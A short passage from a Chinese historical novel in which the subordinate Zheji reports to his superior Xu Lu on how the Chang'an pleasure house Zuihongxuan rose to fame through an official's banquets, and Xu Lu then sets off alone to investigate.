“昨日吩咐末将查的醉红轩，已有几分眉目。早年长安风月名苑共三家，分别是百花坊、流觞院与醉红轩，彼时醉红轩声势平平，远不及另外两家鼎盛。” “可近年间，醉红轩一改往日光景，风头反超百花坊、流觞院两家。坊间只当是楼中桃花醉风味独到，才引得游人络绎不绝，实则另有隐情。昔日明朔常在此设宴会客，一众想要攀附他的达官显贵纷纷接踵而至。凭借这般权贵往来，醉红轩顺势声名大涨，一跃跻身长安风月之首，盛极一时。” 折戟沉声禀报，自那日云姑娘一语道破桃花醉里所用之物来自异域，自家大人便对醉红轩产生了极大的兴致。 “明朔此番，反倒比我们还要急切。常言道，常在河边走，焉能不湿鞋。” 许庐话音未落，便抬步走向外间。折戟见状，连忙快步跟上。 “今日你不必随我，此地人多眼杂，我独自前去便可。” 折戟只得止步作罢，低声拱手恭敬回道， “那大人一路当心。”